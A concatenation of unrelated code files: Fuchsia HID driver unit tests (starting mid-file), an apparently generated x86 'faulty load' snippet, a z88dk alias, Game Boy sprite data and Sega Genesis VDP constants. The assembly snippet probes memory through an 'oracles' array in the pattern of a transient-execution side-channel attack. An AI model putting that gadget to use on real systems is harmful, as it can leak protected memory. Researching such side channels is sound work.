result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(double_mouse_report[i], result->data[i]); } } { auto result = sync_client_->ReadReport(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(time, result->time); ASSERT_EQ(sizeof(hid_boot_mouse_report_t), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(double_mouse_report[i + sizeof(hid_boot_mouse_report_t)], result->data[i]); } } { auto result = sync_client_->ReadReport(); ASSERT_OK(result.status()); ASSERT_EQ(result->status, ZX_ERR_SHOULD_WAIT); } } TEST_F(HidDeviceTest, ReadReportsSingleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); // Send the reports. fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); auto result = sync_client_->ReadReports(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(sizeof(mouse_report), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(mouse_report[i], result->data[i]); } } TEST_F(HidDeviceTest, ReadReportsDoubleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t double_mouse_report[] = {0xDE, 0xAD, 0xBE, 0x12, 0x34, 0x56}; SetupInstanceDriver(); // Send the reports. fake_hidbus_.SendReport(double_mouse_report, sizeof(double_mouse_report)); auto result = sync_client_->ReadReports(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(sizeof(double_mouse_report), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(double_mouse_report[i], result->data[i]); } } TEST_F(HidDeviceTest, ReadReportsBlockingWait) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); // Send the reports, but delayed. uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; std::thread report_thread([&]() { sleep(1); fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); }); ASSERT_OK(report_event_.wait_one(DEV_STATE_READABLE, zx::time::infinite(), nullptr)); // Get the report. auto result = sync_client_->ReadReports(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(sizeof(mouse_report), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(mouse_report[i], result->data[i]); } report_thread.join(); } // Test that only whole reports get sent through. TEST_F(HidDeviceTest, ReadReportsOneAndAHalfReports) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); // Send the report. uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); // Send a half of a report. uint8_t half_report[] = {0xDE, 0xAD}; fake_hidbus_.SendReport(half_report, sizeof(half_report)); auto result = sync_client_->ReadReports(); ASSERT_OK(result.status()); ASSERT_OK(result->status); ASSERT_EQ(sizeof(mouse_report), result->data.count()); for (size_t i = 0; i < result->data.count(); i++) { EXPECT_EQ(mouse_report[i], result->data[i]); } } // This tests that we can set the boot mode for a non-boot device, and that the device will // have it's report descriptor set to the boot mode descriptor. For this, we will take an // arbitrary descriptor and claim that it can be set to a boot-mode keyboard. We then // test that the report descriptor we get back is for the boot keyboard. // (The descriptor doesn't matter, as long as a device claims its a boot device it should // support this transformation in hardware). TEST_F(HidDeviceTest, SettingBootModeMouse) { size_t desc_size; const uint8_t* desc = get_paradise_touchpad_v1_report_desc(&desc_size); fake_hidbus_.SetDescriptor(desc, desc_size); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_POINTER; info.boot_device = true; fake_hidbus_.SetHidInfo(info); // Set the device to boot protocol. fake_hidbus_.HidbusSetProtocol(HID_PROTOCOL_BOOT); ASSERT_OK(device_->Bind(client_)); size_t boot_mouse_desc_size; const uint8_t* boot_mouse_desc = get_boot_mouse_report_desc(&boot_mouse_desc_size); ASSERT_EQ(boot_mouse_desc_size, device_->GetReportDescLen()); const uint8_t* received_desc = device_->GetReportDesc(); for (size_t i = 0; i < boot_mouse_desc_size; i++) { ASSERT_EQ(boot_mouse_desc[i], received_desc[i]); } } // This tests that we can set the boot mode for a non-boot device, and that the device will // have it's report descriptor set to the boot mode descriptor. For this, we will take an // arbitrary descriptor and claim that it can be set to a boot-mode keyboard. We then // test that the report descriptor we get back is for the boot keyboard. // (The descriptor doesn't matter, as long as a device claims its a boot device it should // support this transformation in hardware). TEST_F(HidDeviceTest, SettingBootModeKbd) { size_t desc_size; const uint8_t* desc = get_paradise_touchpad_v1_report_desc(&desc_size); fake_hidbus_.SetDescriptor(desc, desc_size); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_KBD; info.boot_device = true; fake_hidbus_.SetHidInfo(info); // Set the device to boot protocol. fake_hidbus_.HidbusSetProtocol(HID_PROTOCOL_BOOT); ASSERT_OK(device_->Bind(client_)); size_t boot_kbd_desc_size; const uint8_t* boot_kbd_desc = get_boot_kbd_report_desc(&boot_kbd_desc_size); ASSERT_EQ(boot_kbd_desc_size, device_->GetReportDescLen()); const uint8_t* received_desc = device_->GetReportDesc(); for (size_t i = 0; i < boot_kbd_desc_size; i++) { ASSERT_EQ(boot_kbd_desc[i], received_desc[i]); } } TEST_F(HidDeviceTest, BanjoGetHidDeviceInfo) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(fake_hidbus_.GetProto())); hid_device_info_t info; device_->HidDeviceGetHidDeviceInfo(&info); hid_info_t hidbus_info; ASSERT_OK(fake_hidbus_.HidbusQuery(0, &hidbus_info)); ASSERT_EQ(hidbus_info.vendor_id, info.vendor_id); ASSERT_EQ(hidbus_info.product_id, info.product_id); ASSERT_EQ(hidbus_info.version, info.version); } TEST_F(HidDeviceTest, BanjoGetDescriptor) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(fake_hidbus_.GetProto())); size_t known_size; const uint8_t* known_descriptor = get_boot_mouse_report_desc(&known_size); uint8_t report_descriptor[HID_MAX_DESC_LEN]; size_t actual; ASSERT_OK(device_->HidDeviceGetDescriptor(report_descriptor, sizeof(report_descriptor), &actual)); ASSERT_EQ(known_size, actual); ASSERT_BYTES_EQ(known_descriptor, report_descriptor, known_size); } TEST_F(HidDeviceTest, BanjoRegisterListenerSendReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(fake_hidbus_.GetProto())); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; struct ReportCtx { sync_completion_t* completion; uint8_t* known_report; }; sync_completion_t seen_report; ReportCtx ctx; ctx.completion = &seen_report; ctx.known_report = mouse_report; hid_report_listener_protocol_ops_t ops; ops.receive_report = [](void* ctx, const uint8_t* report_list, size_t report_count, zx_time_t time) { ASSERT_EQ(sizeof(mouse_report), report_count); auto report_ctx = reinterpret_cast<ReportCtx*>(ctx); ASSERT_BYTES_EQ(report_ctx->known_report, report_list, report_count); sync_completion_signal(report_ctx->completion); }; hid_report_listener_protocol_t listener; listener.ctx = &ctx; listener.ops = &ops; ASSERT_OK(device_->HidDeviceRegisterListener(&listener)); fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); ASSERT_OK(sync_completion_wait(&seen_report, zx::time::infinite().get())); device_->HidDeviceUnregisterListener(); } TEST_F(HidDeviceTest, BanjoGetSetReport) { const uint8_t* desc; size_t desc_size = get_ambient_light_report_desc(&desc); fake_hidbus_.SetDescriptor(desc, desc_size); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_OTHER; info.boot_device = false; fake_hidbus_.SetHidInfo(info); ASSERT_OK(device_->Bind(fake_hidbus_.GetProto())); ambient_light_feature_rpt_t feature_report = {}; feature_report.rpt_id = AMBIENT_LIGHT_RPT_ID_FEATURE; // Below value are chosen arbitrarily. feature_report.state = 100; feature_report.interval_ms = 50; feature_report.threshold_high = 40; feature_report.threshold_low = 10; ASSERT_OK(device_->HidDeviceSetReport(HID_REPORT_TYPE_FEATURE, AMBIENT_LIGHT_RPT_ID_FEATURE, reinterpret_cast<uint8_t*>(&feature_report), sizeof(feature_report))); ambient_light_feature_rpt_t received_report = {}; size_t actual; ASSERT_OK(device_->HidDeviceGetReport(HID_REPORT_TYPE_FEATURE, AMBIENT_LIGHT_RPT_ID_FEATURE, reinterpret_cast<uint8_t*>(&received_report), sizeof(received_report), &actual)); ASSERT_EQ(sizeof(received_report), actual); ASSERT_BYTES_EQ(&feature_report, &received_report, actual); } // Tests that a device with too large reports don't cause buffer overruns. TEST_F(HidDeviceTest, GetReportBufferOverrun) { const uint8_t desc[] = { 0x05, 0x01, // Usage Page (Generic Desktop Ctrls) 0x09, 0x02, // Usage (Mouse) 0xA1, 0x01, // Collection (Application) 0x05, 0x09, // Usage Page (Button) 0x09, 0x30, // Usage (0x30) 0x97, 0x00, 0xF0, 0x00, 0x00, // Report Count (65279) 0x75, 0x08, // Report Size (8) 0x25, 0x01, // Logical Maximum (1) 0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null Position) 0xC0, // End Collection // 22 bytes }; size_t desc_size = sizeof(desc); fake_hidbus_.SetDescriptor(desc, desc_size); hid_info_t info = {}; info.device_class = HID_DEVICE_CLASS_OTHER; info.boot_device = false; fake_hidbus_.SetHidInfo(info); ASSERT_OK(device_->Bind(fake_hidbus_.GetProto())); std::vector<uint8_t> report(0xFF0000); size_t actual; ASSERT_EQ( device_->HidDeviceGetReport(HID_REPORT_TYPE_INPUT, 0, report.data(), report.size(), &actual), ZX_ERR_INTERNAL); } TEST_F(HidDeviceTest, DeviceReportReaderSingleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader; { zx::channel token_server, token_client; ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result.status()); reader = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); } // Send the reports. fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); auto response = reader.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 1); ASSERT_EQ(result->reports[0].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } } TEST_F(HidDeviceTest, DeviceReportReaderDoubleReport) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; uint8_t mouse_report_two[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader; { zx::channel token_server, token_client; ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result.status()); reader = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); } // Send the reports. fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); fake_hidbus_.SendReport(mouse_report_two, sizeof(mouse_report_two)); auto response = reader.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 2); ASSERT_EQ(result->reports[0].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } ASSERT_EQ(result->reports[1].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[1].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[1].data[i]); } } TEST_F(HidDeviceTest, DeviceReportReaderTwoClients) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader; llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader_two; { zx::channel token_server, token_client; ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result.status()); reader = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result2 = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result2.status()); reader_two = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); } // Send the report. fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); { auto response = reader.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 1); ASSERT_EQ(result->reports[0].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } } { auto response = reader_two.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 1); ASSERT_EQ(result->reports[0].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } } } // Test that only whole reports get sent through. TEST_F(HidDeviceTest, DeviceReportReaderOneAndAHalfReports) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); SetupInstanceDriver(); llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader; { zx::channel token_server, token_client; ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result.status()); reader = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); } // Send the report. uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); // Send a half of a report. uint8_t half_report[] = {0xDE, 0xAD}; fake_hidbus_.SendReport(half_report, sizeof(half_report)); auto response = reader.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 1); ASSERT_EQ(sizeof(mouse_report), result->reports[0].data.count()); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } } TEST_F(HidDeviceTest, DeviceReportReaderHangingGet) { SetupBootMouseDevice(); ASSERT_OK(device_->Bind(client_)); uint8_t mouse_report[] = {0xDE, 0xAD, 0xBE}; SetupInstanceDriver(); auto sync_client = llcpp::fuchsia::hardware::input::Device::SyncClient(std::move(ddk_.FidlClient())); llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient reader; { zx::channel token_server, token_client; ASSERT_OK(zx::channel::create(0, &token_server, &token_client)); auto result = sync_client_->GetDeviceReportsReader(std::move(token_server)); ASSERT_OK(result.status()); reader = llcpp::fuchsia::hardware::input::DeviceReportsReader::SyncClient(std::move(token_client)); } // Send the reports, but delayed. std::thread report_thread([&]() { sleep(1); fake_hidbus_.SendReport(mouse_report, sizeof(mouse_report)); }); auto response = reader.ReadReports(); ASSERT_OK(response.status()); ASSERT_FALSE(response->result.is_err()); auto result = &response->result.response(); ASSERT_EQ(result->reports.count(), 1); ASSERT_EQ(result->reports[0].data.count(), sizeof(mouse_report)); for (size_t i = 0; i < result->reports[0].data.count(); i++) { EXPECT_EQ(mouse_report[i], result->reports[0].data[i]); } report_thread.join(); } } // namespace hid_driver
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %rcx push %rsi // Faulty Load lea addresses_D+0x12bf2, %rsi and %r12, %r12 mov (%rsi), %r10d lea oracles, %rcx and $0xff, %r10 shlq $12, %r10 mov (%rcx,%r10,1), %r10 pop %rsi pop %rcx pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
SECTION code_clib SECTION code_fp_math48 PUBLIC asm_acosh EXTERN am48_acosh defc asm_acosh = am48_acosh
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module spritesheet_2_tiles .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _spritesheet_2_tiles .globl ___bank_spritesheet_2_tiles ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 ___bank_spritesheet_2_tiles = 0x00ff _spritesheet_2_tiles: .dw #0x0004 .db #0x7f ; 127 .db #0x7f ; 127 .db #0x69 ; 105 'i' .db #0x7e ; 126 .db #0x74 ; 116 't' .db #0x7f ; 127 .db #0x2a ; 42 .db #0x3f ; 63 .db #0x14 ; 20 .db #0x1f ; 31 .db #0x0a ; 10 .db #0x0f ; 15 .db #0x04 ; 4 .db #0x07 ; 7 .db #0x03 ; 3 .db #0x03 ; 3 .db #0x02 ; 2 .db #0x03 ; 3 .db #0x03 ; 3 .db #0x03 ; 3 .db #0x02 ; 2 .db #0x03 ; 3 .db #0x03 ; 3 .db #0x03 ; 3 .db #0x0e ; 14 .db #0x0f ; 15 .db #0x33 ; 51 '3' .db #0x3f ; 63 .db #0x47 ; 71 'G' .db #0x78 ; 120 'x' .db #0x31 ; 49 '1' .db #0x3e ; 62 .db #0xfe ; 254 .db #0xfe ; 254 .db #0xfa ; 250 .db #0x06 ; 6 .db #0x32 ; 50 '2' .db #0xce ; 206 .db #0x64 ; 100 'd' .db #0x9c ; 156 .db #0x48 ; 72 'H' .db #0xb8 ; 184 .db #0x90 ; 144 .db #0x70 ; 112 'p' .db #0xa0 ; 160 .db #0x60 ; 96 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0x40 ; 64 .db #0xc0 ; 192 .db #0xc0 ; 192 .db #0x40 ; 64 .db #0xc0 ; 192 .db #0x40 ; 64 .db #0xc0 ; 192 .db #0x40 ; 64 .db #0xf0 ; 240 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x7c ; 124 .db #0xf2 ; 242 .db #0x0e ; 14 .db #0xcc ; 204 .db #0x3c ; 60 .area _INITIALIZER .area _CABS (ABS)
;*********** ; CONSTANTS ;*********** ; Defines names for commonly used values and addresses to make ; the code more readable. ;************************************************************** ;***************************** ; INITIAL VDP REGISTER VALUES ;***************************** ; 24 register values to be copied to the VDP during initialisation. ; These specify things like initial width/height of the planes, ; addresses within VRAM to find scroll/sprite data, the ; background palette/colour index, whether or not the display ; is on, and clears initial values for things like DMA. ;============================================================== VDPRegisters: dc.b 0x14 ; 0x00: H interrupt on, palettes on dc.b 0x74 ; 0x01: V interrupt on, display on, DMA on, Genesis mode on dc.b 0x30 ; 0x02: Pattern table for Scroll Plane A at VRAM 0xC000 (bits 3-5 = bits 13-15) dc.b 0x00 ; 0x03: Pattern table for Window Plane at VRAM 0x0000 (disabled) (bits 1-5 = bits 11-15) dc.b 0x07 ; 0x04: Pattern table for Scroll Plane B at VRAM 0xE000 (bits 0-2 = bits 11-15) dc.b 0x78 ; 0x05: Sprite table at VRAM 0xF000 (bits 0-6 = bits 9-15) dc.b 0x00 ; 0x06: Unused dc.b 0x00 ; 0x07: Background colour: bits 0-3 = colour, bits 4-5 = palette dc.b 0x00 ; 0x08: Unused dc.b 0x00 ; 0x09: Unused dc.b 0x08 ; 0x0A: Frequency of Horiz. interrupt in Rasters (number of lines travelled by the beam) dc.b 0x00 ; 0x0B: External interrupts off, V scroll per-page, H scroll per-page dc.b 0x81 ; 0x0C: Shadows and highlights off, interlace off, H40 mode (320 x 224 screen res) dc.b 0x3F ; 0x0D: Horiz. scroll table at VRAM 0xFC00 (bits 0-5) dc.b 0x00 ; 0x0E: Unused dc.b 0x02 ; 0x0F: Autoincrement 2 bytes dc.b 0x01 ; 0x10: Scroll plane size: 64x32 tiles dc.b 0x00 ; 0x11: Window Plane X pos 0 left (pos in bits 0-4, left/right in bit 7) dc.b 0x00 ; 0x12: Window Plane Y pos 0 up (pos in bits 0-4, up/down in bit 7) dc.b 0xFF ; 0x13: DMA length lo byte dc.b 0xFF ; 0x14: DMA length hi byte dc.b 0x00 ; 0x15: DMA source address lo byte dc.b 0x00 ; 0x16: DMA source address mid byte dc.b 0x80 ; 0x17: DMA source address hi byte, memory-to-VRAM mode (bits 6-7) even ; VDP port addresses vdp_control equ 0x00C00004 vdp_data equ 0x00C00000 ; VDP commands vdp_cmd_vram_write equ 0x40000000 vdp_cmd_cram_write equ 0xC0000000 vdp_cmd_vsram_write equ 0x40000010 ; NEW to this demo - Vertical Scroll RAM address ; VDP memory addresses ; according to VDP registers 0x2, 0x4, and 0xD (see table above) vram_addr_tiles equ 0x0000 vram_addr_plane_a equ 0xC000 vram_addr_plane_b equ 0xE000 ; Screen width and height (in pixels) vdp_screen_width equ 0x0140 vdp_screen_height equ 0x00F0 ; The plane width and height (in tiles) ; according to VDP register 0x10 (see table above) vdp_plane_width equ 0x40 vdp_plane_height equ 0x20 ; VDP register commands to handle DMA: vdpreg_dmalen_l equ 0x9300 ; DMA length (low) vdpreg_dmalen_h equ 0x9400 ; DMA length (high) vdpreg_dmasrc_l equ 0x9500 ; DMA source (low) vdpreg_dmasrc_m equ 0x9600 ; DMA source (mid) vdpreg_dmasrc_h equ 0x9700 ; DMA source (high) vram_dma_cmd equ 0x40000080 cram_dma_cmd equ 0xC0000080 vsram_dma_cmd equ 0x40000090 ; Hardware version address hardware_ver_address equ 0x00A10001 ; TMSS tmss_address equ 0x00A14000 tmss_signature equ 'SEGA' ; The size of a word and longword size_word equ 2 size_long equ 4 ; The size of one palette (in bytes, words, and longwords) size_palette_b equ 0x20 size_palette_w equ size_palette_b/size_word size_palette_l equ size_palette_b/size_long ; The size of one graphics tile (in bytes, words, and longwords) size_tile_b equ 0x20 size_tile_w equ size_tile_b/size_word size_tile_l equ size_tile_b/size_long ; Text draw position (in tiles) text_pos_x equ 0x08 text_pos_y equ 0x10 ; Speed (in pixels per frame) to move our scroll planes plane_a_scroll_speed_x equ 0x2 plane_b_scroll_speed_y equ 0x1 ;********* ; PALETTE ;********* ; A single colour palette (16 colours) we'll be using to draw text. ; Colour #0 is always transparent, no matter what colour value ; you specify. ;============================================================== ; Each colour is in binary format 0000 BBB0 GGG0 RRR0, ; so 0x0000 is black, 0x0EEE is white (NOT 0x0FFF, since the ; bottom bit is discarded), 0x000E is red, 0x00E0 is green, and ; 0x0E00 is blue. ; ; For this sample we cycle through a list of some of these, ; they're repeated through it, but I'm not really good at ; deciding colors anyway :'D. ;============================================================== Palette: dc.w 0x0000 ; Colour 0 = Transparent dc.w 0x0000 ; Colour 1 = Black dc.w 0x0EEE ; Colour 2 = White dc.w 0x000E ; Colour 3 = Red dc.w 0x00E0 ; Colour 4 = Blue dc.w 0x0E00 ; Colour 5 = Green dc.w 0x0E0E ; Colour 6 = Pink dc.w 0x0000 ; Colour 7 = Black dc.w 0x0EEE ; Colour 8 = White dc.w 0x000E ; Colour 9 = Red dc.w 0x00E0 ; Colour 10 = Blue dc.w 0x0E00 ; Colour 11 = Green dc.w 0x0E0E ; Colour 12 = Pink dc.w 0x000E ; Colour 13 = Red dc.w 0x00E0 ; Colour 14 = Blue dc.w 0x0E00 ; Colour 15 = Green